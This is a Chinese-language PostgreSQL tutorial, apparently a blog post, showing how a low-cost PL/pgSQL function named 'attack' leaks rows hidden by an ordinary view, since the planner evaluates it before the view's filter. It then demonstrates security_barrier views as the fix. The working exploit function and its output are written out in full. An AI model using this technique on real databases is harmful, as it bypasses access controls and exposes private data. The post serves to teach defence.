PostgreSQL views privilege attack and security with security_barrier(视图攻击)
背景
数据库中一般可以使用视图来规避用户的访问数据的范围, 但是要注意, 即使使用了视图, 也不一定能规避访问.
例如带where条件的视图就有可能被攻击者利用执行树先执行成本低后执行成本高的规则, 使用低成本函数的raise窃取本来不应该看到的信息.
正文
举例如下 :
创建测试表, 插入测试数据.
digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);
CREATE TABLE
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');
INSERT 0 1
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');
INSERT 0 1
创建一个视图, 仅仅可以查看groupid=2的数据.
digoal=# create view v_userinfo as select * from userinfo where groupid =2;
CREATE VIEW
使用普通用户查看表和视图, 现在没有权限查看.
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo;
ERROR: permission denied for relation userinfo
digoal=> select * from v_userinfo;
ERROR: permission denied for relation v_userinfo
分配视图的查询权限给普通用户
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# grant select on v_userinfo to digoal;
GRANT
现在普通用户不能直接访问表, 但是可以访问视图了.
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo ;
ERROR: permission denied for relation userinfo
看起来普通用户只能访问groupid=2的数据.
digoal=> select * from v_userinfo ;
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
但是利用以下方法, 欺骗rule, 得到不应该看到的数据.
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
return true;
end;
$$ language plpgsql cost 0.00000000000000000000001;
CREATE FUNCTION
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
从以上结果可以看到, 本来不应该看到的groupid=1的数据也被打印出来了.
而且执行计划并没有什么异样.
digoal=> explain (analyze,verbose,costs,buffers,timing) select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------
--------------------------
Seq Scan on public.userinfo (cost=0.00..16.00 rows=1 width=140) (actual time=0.090..0.091 rows=1 loops=1)
Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN
D (userinfo.groupid = 2))
Rows Removed by Filter: 3
Buffers: shared hit=1
Total runtime: 0.113 ms
(6 rows)
那这是为什么呢?
Every person and phone number in the phone_data table will be printed as a NOTICE, because the planner will choose to execute the inexpensive tricky function before the more expensive NOT LIKE.
Even if the user is prevented from defining new functions, built-in functions can be used in similar attacks.
(For example, most casting functions include their input values in the error messages they produce.)
原因是PostgreSQL在生成执行树时, 先执行成本低的再执行成本高的. 在本例就是说先执行成本低的函数attack, 再执行成本高的groupid=2;
=的成本是多少怎么看 :
=在这里是指的哪个函数呢?
digoal=> select * from pg_operator where oprname='=' and oprleft=23 and oprright=23;
oprname | oprnamespace | oprowner | oprkind | oprcanmerge | oprcanhash | oprleft | oprright | oprresult | oprcom | oprnegate | oprc
ode | oprrest | oprjoin
---------+--------------+----------+---------+-------------+------------+---------+----------+-----------+--------+-----------+-----
----+---------+-----------
= | 11 | 10 | b | t | t | 23 | 23 | 16 | 96 | 518 | int4
eq | eqsel | eqjoinsel
(1 row)
查看这个操作符的成本 :
digoal=> select * from pg_proc where proname='int4eq';
-[ RECORD 1 ]---+-------
proname | int4eq
pronamespace | 11
proowner | 10
prolang | 12
procost | 1
prorows | 0
provariadic | 0
protransform | -
proisagg | f
proiswindow | f
prosecdef | f
proleakproof | t
proisstrict | t
proretset | f
provolatile | i
pronargs | 2
pronargdefaults | 0
prorettype | 16
proargtypes | 23 23
proallargtypes |
proargmodes |
proargnames |
proargdefaults |
prosrc | int4eq
probin |
proconfig |
proacl |
注意成本是real类型
digoal=> \d pg_proc
Table "pg_catalog.pg_proc"
Column | Type | Modifiers
-----------------+--------------+-----------
proname | name | not null
pronamespace | oid | not null
proowner | oid | not null
prolang | oid | not null
procost | real | not null
prorows | real | not null
provariadic | oid | not null
protransform | regproc | not null
proisagg | boolean | not null
proiswindow | boolean | not null
prosecdef | boolean | not null
proleakproof | boolean | not null
proisstrict | boolean | not null
proretset | boolean | not null
provolatile | "char" | not null
pronargs | smallint | not null
pronargdefaults | smallint | not null
prorettype | oid | not null
proargtypes | oidvector | not null
proallargtypes | oid[] |
proargmodes | "char"[] |
proargnames | text[] |
proargdefaults | pg_node_tree |
prosrc | text |
probin | text |
proconfig | text[] |
proacl | aclitem[] |
Indexes:
"pg_proc_oid_index" UNIQUE, btree (oid)
"pg_proc_proname_args_nsp_index" UNIQUE, btree (proname, proargtypes, pronamespace)
从以上查询可以看出本例的groupid=2中的=使用的是int4eq函数, 这个函数的cost=1;
所以只要attack函数的cost小于int4eq就肯定会被先执行.
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
-[ RECORD 1 ]------------
id | 4
groupid | 2
username | test
age | 1000
addr | 土星
email | digoal@126.com
phone | 11999999999
将attack的成本改为1.1, 就不会先执行了.
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
return true;
end;
$$ language plpgsql cost 1.1;
CREATE FUNCTION
改成1.1后, 显然不能查看到groupid<>2的数据了.
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
-[ RECORD 1 ]------------
id | 4
groupid | 2
username | test
age | 1000
addr | 土星
email | digoal@126.com
phone | 11999999999
建立安全的视图, 使用security_barrier选项 :
digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;
CREATE VIEW
digoal=# grant select on v_userinfo_1 to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
return true;
end;
$$ language plpgsql cost 0.1;
CREATE FUNCTION
查看非安全视图, 依旧欺骗.
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE: 3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE: 4,2,test,1000,土星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
4 | 2 | test | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)
查看安全视图, 无法被欺骗了.
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE: 2,1,test,1000,火星,digoal@126.com,11999999999
id | groupid | username | age | addr | email | phone
----+---------+----------+------+------+----------------+-------------
2 | 1 | test | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)
其他
1. 由于使用security_barriers选项后优化器不起作用, 只走seqscan, 是个巨大缺陷, PostgreSQL 9.4将新增Row-Level-Security补丁 . 规避这个问题.
参考
1. http://www.postgresql.org/docs/9.3/static/rules-privileges.html
2. http://blog.163.com/digoal@126/blog/static/163877040201362402650341/